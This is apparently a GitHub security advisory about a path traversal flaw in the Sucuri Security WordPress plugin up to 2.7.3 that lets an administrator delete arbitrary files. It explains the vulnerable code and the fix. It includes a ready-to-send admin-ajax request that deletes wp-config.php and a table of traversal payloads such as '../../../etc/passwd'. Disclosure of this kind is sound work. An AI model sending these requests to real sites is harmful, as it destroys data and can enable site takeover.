Skip to content

Path Traversal Leading to Arbitrary File Deletion in Integrity Operations #217

Description

@potdf-bl4ck-570rm

Sucuri Security - Auditing, Malware Scanner and Security Hardening ≤ 2.7.3

The file integrity restore/delete operations in src/integrity.lib.php do not validate that resolved file paths remain within the WordPress installation directory. An authenticated administrator can supply path traversal sequences (../) to delete arbitrary files on the server filesystem.


Technical Details

Root Cause

In src/integrity.lib.php:165 (v2.7.3), the pageIntegritySubmission() method constructed file paths by directly concatenating ABSPATH with user-supplied file paths without resolving or validating directory traversal:

// v2.7.3 — vulnerable
$file_path = $file_meta;  // user-supplied, e.g. "../../../wp-config.php"
$full_path = ABSPATH . '/' . $file_path;
// No check that $full_path stays within ABSPATH

This allowed the delete action to pass a path like ../../../wp-config.php to unlink().

Fix

Commit 8b786c5 introduced three protective mechanisms:

  1. normalizePath() — Resolves . and .. segments without consulting the filesystem:

    private static function normalizePath($path)
    {
        $path = str_replace('\\', '/', (string) $path);
        $is_absolute = (isset($path[0]) && $path[0] === '/');
        $resolved = array();
        foreach (explode('/', $path) as $segment) {
            if ($segment === '' || $segment === '.') { continue; }
            if ($segment === '..') { array_pop($resolved); continue; }
            $resolved[] = $segment;
        }
        return ($is_absolute ? '/' : '') . implode('/', $resolved);
    }
  2. resolveIntegrityPath() — Verifies the normalized path starts with the normalized ABSPATH:

    private static function resolveIntegrityPath($file_path)
    {
        $base = self::normalizePath(ABSPATH);
        $full_path = self::normalizePath(ABSPATH . '/' . $file_path);
        if ($full_path !== $base && strpos($full_path, $base . '/') !== 0) {
            return false; /* escapes the WordPress installation directory */
        }
        return $full_path;
    }
  3. flaggedFilesByStatus() — An allowlist of files the scan actually reported, preventing operations on arbitrary paths even if the traversal check were bypassed.


Proof of Concept

Requirements

  • WordPress administrator account (manage_options capability)
  • Valid nonce from the Integrity page

Exploit

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: <admin session cookie>

action=sucuriscan_ajax&
form_action=check_wordpress_integrity&
sucuriscan_page_nonce=<valid_nonce>&
sucuriscan_integrity_action=delete&
sucuriscan_integrity[]=../../../wp-config.php&
sucuriscan_process_form=1

Expected Result

In v2.7.3, this request deletes /var/www/html/wp-config.php, causing a complete site outage on the next request and allowing re-installation with attacker-controlled database credentials.

In v2.7.4, the request is silently rejected because:

  • resolveIntegrityPath('../../../wp-config.php') normalizes to /wp-config.php
  • /wp-config.php does not start with /var/www/html/ → returns false
  • The operation is skipped

Attempted Bypasses (all rejected in v2.7.4)

Payload Normalized Result
../../../etc/passwd /etc/passwd Rejected — not under ABSPATH
foo/../../../../etc/passwd /etc/passwd Rejected
wp-content\\..\\..\\wp-config.php /var/www/wp-config.php Rejected — normalizePath() converts backslashes first
wp-config.php (no traversal) /var/www/html/wp-config.php Rejected — not in flaggedFilesByStatus() allowlist

Impact

  • CVSS 3.1: 6.5 (Medium) — AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H
  • Deletion of wp-config.php → site outage + potential re-installation with attacker-controlled credentials
  • Deletion of .htaccess → exposure to other attacks
  • Deletion of security plugin files → disabling the security plugin

Affected Versions

  • Vulnerable: ≤ 2.7.3
  • Fixed: 2.7.4

Remediation

Update to version 2.7.4 or later.


Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions